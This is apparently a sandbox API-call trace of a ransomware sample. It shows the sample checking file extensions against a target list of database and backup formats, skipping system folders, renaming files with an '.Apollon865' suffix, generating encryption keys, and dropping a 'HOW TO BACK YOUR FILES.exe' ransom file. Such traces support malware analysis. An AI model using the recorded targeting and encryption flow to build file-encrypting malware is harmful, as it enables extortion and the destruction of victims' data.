	[0088.849] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0088.849] lstrlenW (lpString="db-wal") returned 6
	[0088.849] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0088.849] lstrlenW (lpString="dbc") returned 3
	[0088.849] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0088.849] lstrlenW (lpString="dbs") returned 3
	[0088.849] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0088.849] lstrlenW (lpString="dbt") returned 3
	[0088.849] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0088.849] lstrlenW (lpString="dbv") returned 3
	[0088.849] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0088.849] lstrlenW (lpString="dbx") returned 3
	[0088.849] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0088.849] lstrlenW (lpString="dcb") returned 3
	[0088.849] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0088.849] lstrlenW (lpString="dct") returned 3
	[0088.849] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0088.849] lstrlenW (lpString="dcx") returned 3
	[0088.849] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0088.850] lstrlenW (lpString="ddl") returned 3
	[0088.850] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0088.850] lstrlenW (lpString="dlis") returned 4
	[0088.850] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0088.850] lstrlenW (lpString="dp1") returned 3
	[0088.850] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0088.850] lstrlenW (lpString="dqy") returned 3
	[0088.850] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0088.850] lstrlenW (lpString="dsk") returned 3
	[0088.850] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0088.850] lstrlenW (lpString="dsn") returned 3
	[0088.850] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0088.850] lstrlenW (lpString="dtsx") returned 4
	[0088.850] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0088.850] lstrlenW (lpString="dxl") returned 3
	[0088.850] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0088.850] lstrlenW (lpString="eco") returned 3
	[0088.850] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0088.850] lstrlenW (lpString="ecx") returned 3
	[0088.850] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0088.850] lstrlenW (lpString="edb") returned 3
	[0088.850] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0088.850] lstrlenW (lpString="epim") returned 4
	[0088.850] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0088.850] lstrlenW (lpString="fcd") returned 3
	[0088.850] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0088.850] lstrlenW (lpString="fdb") returned 3
	[0088.850] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0088.850] lstrlenW (lpString="fic") returned 3
	[0088.850] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0088.850] lstrlenW (lpString="flexolibrary") returned 12
	[0088.850] lstrlenW (lpString="fm5") returned 3
	[0088.850] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0088.850] lstrlenW (lpString="fmp") returned 3
	[0088.850] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0088.850] lstrlenW (lpString="fmp12") returned 5
	[0088.850] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0088.850] lstrlenW (lpString="fmpsl") returned 5
	[0088.851] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0088.851] lstrlenW (lpString="fol") returned 3
	[0088.851] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0088.851] lstrlenW (lpString="fp3") returned 3
	[0088.851] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0088.851] lstrlenW (lpString="fp4") returned 3
	[0088.851] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0088.851] lstrlenW (lpString="fp5") returned 3
	[0088.851] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0088.851] lstrlenW (lpString="fp7") returned 3
	[0088.851] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0088.851] lstrlenW (lpString="fpt") returned 3
	[0088.851] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0088.851] lstrlenW (lpString="frm") returned 3
	[0088.851] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0088.851] lstrlenW (lpString="gdb") returned 3
	[0088.851] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0088.851] lstrlenW (lpString="gdb") returned 3
	[0088.851] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0088.851] lstrlenW (lpString="grdb") returned 4
	[0088.851] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0088.851] lstrlenW (lpString="gwi") returned 3
	[0088.851] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0088.851] lstrlenW (lpString="hdb") returned 3
	[0088.851] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0088.851] lstrlenW (lpString="his") returned 3
	[0088.851] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0088.851] lstrlenW (lpString="ib") returned 2
	[0088.851] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0088.851] lstrlenW (lpString="idb") returned 3
	[0088.851] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0088.851] lstrlenW (lpString="ihx") returned 3
	[0088.851] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0088.851] lstrlenW (lpString="itdb") returned 4
	[0088.851] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0088.851] lstrlenW (lpString="itw") returned 3
	[0088.851] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0088.851] lstrlenW (lpString="jet") returned 3
	[0088.852] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0088.852] lstrlenW (lpString="jtx") returned 3
	[0088.852] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0088.852] lstrlenW (lpString="kdb") returned 3
	[0088.852] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0088.852] lstrlenW (lpString="kexi") returned 4
	[0088.852] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0088.852] lstrlenW (lpString="kexic") returned 5
	[0088.852] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0088.852] lstrlenW (lpString="kexis") returned 5
	[0088.852] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0088.852] lstrlenW (lpString="lgc") returned 3
	[0088.852] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0088.852] lstrlenW (lpString="lwx") returned 3
	[0088.852] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0088.852] lstrlenW (lpString="maf") returned 3
	[0088.852] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0088.852] lstrlenW (lpString="maq") returned 3
	[0088.852] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0088.852] lstrlenW (lpString="mar") returned 3
	[0088.852] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0088.852] lstrlenW (lpString="marshal") returned 7
	[0088.852] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0088.852] lstrlenW (lpString="mas") returned 3
	[0088.852] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0088.852] lstrlenW (lpString="mav") returned 3
	[0088.852] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0088.852] lstrlenW (lpString="maw") returned 3
	[0088.852] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0088.852] lstrlenW (lpString="mdbhtml") returned 7
	[0088.852] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0088.852] lstrlenW (lpString="mdn") returned 3
	[0088.852] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0088.852] lstrlenW (lpString="mdt") returned 3
	[0088.852] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0088.852] lstrlenW (lpString="mfd") returned 3
	[0088.852] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0088.853] lstrlenW (lpString="mpd") returned 3
	[0088.853] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0088.853] lstrlenW (lpString="mrg") returned 3
	[0088.853] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0088.853] lstrlenW (lpString="mud") returned 3
	[0088.853] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0088.853] lstrlenW (lpString="mwb") returned 3
	[0088.853] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0088.853] lstrlenW (lpString="myd") returned 3
	[0088.853] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0088.853] lstrlenW (lpString="ndf") returned 3
	[0088.853] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0088.853] lstrlenW (lpString="nnt") returned 3
	[0088.853] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0088.853] lstrlenW (lpString="nrmlib") returned 6
	[0088.853] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0088.853] lstrlenW (lpString="ns2") returned 3
	[0088.853] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0088.853] lstrlenW (lpString="ns3") returned 3
	[0088.853] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0088.853] lstrlenW (lpString="ns4") returned 3
	[0088.853] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0088.853] lstrlenW (lpString="nsf") returned 3
	[0088.853] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0088.853] lstrlenW (lpString="nv") returned 2
	[0088.853] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0088.853] lstrlenW (lpString="nv2") returned 3
	[0088.853] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0088.853] lstrlenW (lpString="nwdb") returned 4
	[0088.853] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0088.853] lstrlenW (lpString="nyf") returned 3
	[0088.853] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0088.853] lstrlenW (lpString="odb") returned 3
	[0088.853] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0088.853] lstrlenW (lpString="odb") returned 3
	[0088.853] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0088.853] lstrlenW (lpString="oqy") returned 3
	[0088.854] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0088.854] lstrlenW (lpString="ora") returned 3
	[0088.854] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0088.854] lstrlenW (lpString="orx") returned 3
	[0088.854] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0088.854] lstrlenW (lpString="owc") returned 3
	[0088.854] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0088.854] lstrlenW (lpString="p96") returned 3
	[0088.854] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0088.854] lstrlenW (lpString="p97") returned 3
	[0088.854] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0088.854] lstrlenW (lpString="pan") returned 3
	[0088.854] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0088.854] lstrlenW (lpString="pdb") returned 3
	[0088.854] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0088.854] lstrlenW (lpString="pdm") returned 3
	[0088.854] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0088.854] lstrlenW (lpString="pnz") returned 3
	[0088.854] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0088.854] lstrlenW (lpString="qry") returned 3
	[0088.854] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0088.854] lstrlenW (lpString="qvd") returned 3
	[0088.854] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0088.854] lstrlenW (lpString="rbf") returned 3
	[0088.854] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0088.854] lstrlenW (lpString="rctd") returned 4
	[0088.854] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0088.854] lstrlenW (lpString="rod") returned 3
	[0088.854] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0088.854] lstrlenW (lpString="rodx") returned 4
	[0088.854] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0088.854] lstrlenW (lpString="rpd") returned 3
	[0088.854] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0088.854] lstrlenW (lpString="rsd") returned 3
	[0088.854] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0088.854] lstrlenW (lpString="sas7bdat") returned 8
	[0088.854] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0088.854] lstrlenW (lpString="sbf") returned 3
	[0088.855] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0088.855] lstrlenW (lpString="scx") returned 3
	[0088.855] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0088.855] lstrlenW (lpString="sdb") returned 3
	[0088.855] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0088.855] lstrlenW (lpString="sdc") returned 3
	[0088.855] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0088.855] lstrlenW (lpString="sdf") returned 3
	[0088.855] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0088.855] lstrlenW (lpString="sis") returned 3
	[0088.855] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0088.855] lstrlenW (lpString="spq") returned 3
	[0088.855] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0088.855] lstrlenW (lpString="te") returned 2
	[0088.855] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0088.855] lstrlenW (lpString="teacher") returned 7
	[0088.855] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0088.855] lstrlenW (lpString="tmd") returned 3
	[0088.855] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0088.855] lstrlenW (lpString="tps") returned 3
	[0088.855] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0088.855] lstrlenW (lpString="trc") returned 3
	[0088.855] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0088.855] lstrlenW (lpString="trc") returned 3
	[0088.855] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0088.855] lstrlenW (lpString="trm") returned 3
	[0088.855] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0088.855] lstrlenW (lpString="udb") returned 3
	[0088.855] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0088.855] lstrlenW (lpString="udl") returned 3
	[0088.855] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0088.855] lstrlenW (lpString="usr") returned 3
	[0088.855] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0088.855] lstrlenW (lpString="v12") returned 3
	[0088.855] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0088.855] lstrlenW (lpString="vis") returned 3
	[0088.855] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0088.856] lstrlenW (lpString="vpd") returned 3
	[0088.856] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0088.856] lstrlenW (lpString="vvv") returned 3
	[0088.856] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0088.856] lstrlenW (lpString="wdb") returned 3
	[0088.856] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0088.856] lstrlenW (lpString="wmdb") returned 4
	[0088.856] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0088.856] lstrlenW (lpString="wrk") returned 3
	[0088.856] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0088.856] lstrlenW (lpString="xdb") returned 3
	[0088.856] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0088.856] lstrlenW (lpString="xld") returned 3
	[0088.856] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0088.856] lstrlenW (lpString="xmlff") returned 5
	[0088.856] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0088.856] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini.Apollon865") returned 62
	[0088.856] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0088.857] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.857] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=282) returned 1
	[0088.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.858] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.859] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.859] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.859] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x420, lpName=0x0) returned 0x15c
	[0088.860] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x420) returned 0x100000
	[0088.860] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.861] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.861] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.864] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0088.865] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30480f10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30480f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0088.865] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0088.865] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a90
	[0088.865] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents"
	[0088.865] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bca68 | out: hHeap=0x580000) returned 1
	[0088.865] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0088.865] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 39
	[0088.865] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents"
	[0088.865] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0088.865] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0088.866] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0088.866] GetLastError () returned 0x0
	[0088.866] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0088.866] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x302ddff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x302ddff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0088.867] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.867] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0088.867] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0088.867] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x302ddff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x302ddff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.867] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.867] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0088.867] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0088.867] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0088.867] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf18b4a60, ftCreationTime.dwHighDateTime=0x1d4cebf, ftLastAccessTime.dwLowDateTime=0x2a8050a0, ftLastAccessTime.dwHighDateTime=0x1d4cff0, ftLastWriteTime.dwLowDateTime=0x2a8050a0, ftLastWriteTime.dwHighDateTime=0x1d4cff0, nFileSizeHigh=0x0, nFileSizeLow=0x5a30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2TdZD.pptx", cAlternateFileName="2TDZD~1.PPT")) returned 1
	[0088.867] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.867] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="Apollon865.txt.exe") returned -1
	[0088.867] lstrcmpiW (lpString1="2TdZD.pptx", lpString2=".") returned 1
	[0088.867] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="..") returned 1
	[0088.867] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="windows") returned -1
	[0088.867] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="bootmgr") returned -1
	[0088.867] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="temp") returned -1
	[0088.867] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="pagefile.sys") returned -1
	[0088.867] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="boot") returned -1
	[0088.867] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="ids.txt") returned -1
	[0088.867] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="ntuser.dat") returned -1
	[0088.867] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="perflogs") returned -1
	[0088.867] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="MSBuild") returned -1
	[0088.867] lstrlenW (lpString="2TdZD.pptx") returned 10
	[0088.867] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*") returned 41
	[0088.867] lstrcpyW (in: lpString1=0x119e658, lpString2="2TdZD.pptx" | out: lpString1="2TdZD.pptx") returned="2TdZD.pptx"
	[0088.867] lstrlenW (lpString="2TdZD.pptx") returned 10
	[0088.867] lstrlenW (lpString="Apollon865") returned 10
	[0088.867] lstrlenW (lpString=".dll") returned 4
	[0088.867] lstrcmpiW (lpString1="2TdZD.pptx", lpString2=".dll") returned 1
	[0088.867] lstrlenW (lpString=".lnk") returned 4
	[0088.867] lstrcmpiW (lpString1="2TdZD.pptx", lpString2=".lnk") returned 1
	[0088.867] lstrlenW (lpString=".ini") returned 4
	[0088.867] lstrcmpiW (lpString1="2TdZD.pptx", lpString2=".ini") returned 1
	[0088.868] lstrlenW (lpString=".sys") returned 4
	[0088.868] lstrcmpiW (lpString1="2TdZD.pptx", lpString2=".sys") returned 1
	[0088.868] lstrlenW (lpString="2TdZD.pptx") returned 10
	[0088.868] lstrlenW (lpString="bak") returned 3
	[0088.868] lstrcmpiW (lpString1="ptx", lpString2="bak") returned 1
	[0088.868] lstrlenW (lpString="ba_") returned 3
	[0088.868] lstrcmpiW (lpString1="ptx", lpString2="ba_") returned 1
	[0088.868] lstrlenW (lpString="dbb") returned 3
	[0088.868] lstrcmpiW (lpString1="ptx", lpString2="dbb") returned 1
	[0088.868] lstrlenW (lpString="vmdk") returned 4
	[0088.868] lstrcmpiW (lpString1="pptx", lpString2="vmdk") returned -1
	[0088.868] lstrlenW (lpString="rar") returned 3
	[0088.868] lstrcmpiW (lpString1="ptx", lpString2="rar") returned -1
	[0088.868] lstrlenW (lpString="zip") returned 3
	[0088.868] lstrcmpiW (lpString1="ptx", lpString2="zip") returned -1
	[0088.868] lstrlenW (lpString="tgz") returned 3
	[0088.868] lstrcmpiW (lpString1="ptx", lpString2="tgz") returned -1
	[0088.868] lstrlenW (lpString="vbox") returned 4
	[0088.868] lstrcmpiW (lpString1="pptx", lpString2="vbox") returned -1
	[0088.868] lstrlenW (lpString="vdi") returned 3
	[0088.868] lstrcmpiW (lpString1="ptx", lpString2="vdi") returned -1
	[0088.868] lstrlenW (lpString="vhd") returned 3
	[0088.868] lstrcmpiW (lpString1="ptx", lpString2="vhd") returned -1
	[0088.868] lstrlenW (lpString="vhdx") returned 4
	[0088.868] lstrcmpiW (lpString1="pptx", lpString2="vhdx") returned -1
	[0088.868] lstrlenW (lpString="avhd") returned 4
	[0088.868] lstrcmpiW (lpString1="pptx", lpString2="avhd") returned 1
	[0088.868] lstrlenW (lpString="db") returned 2
	[0088.868] lstrcmpiW (lpString1="tx", lpString2="db") returned 1
	[0088.868] lstrlenW (lpString="db2") returned 3
	[0088.868] lstrcmpiW (lpString1="ptx", lpString2="db2") returned 1
	[0088.868] lstrlenW (lpString="db3") returned 3
	[0088.868] lstrcmpiW (lpString1="ptx", lpString2="db3") returned 1
	[0088.868] lstrlenW (lpString="dbf") returned 3
	[0088.868] lstrcmpiW (lpString1="ptx", lpString2="dbf") returned 1
	[0088.868] lstrlenW (lpString="mdf") returned 3
	[0088.868] lstrcmpiW (lpString1="ptx", lpString2="mdf") returned 1
	[0088.868] lstrlenW (lpString="mdb") returned 3
	[0088.869] lstrcmpiW (lpString1="ptx", lpString2="mdb") returned 1
	[0088.869] lstrlenW (lpString="sql") returned 3
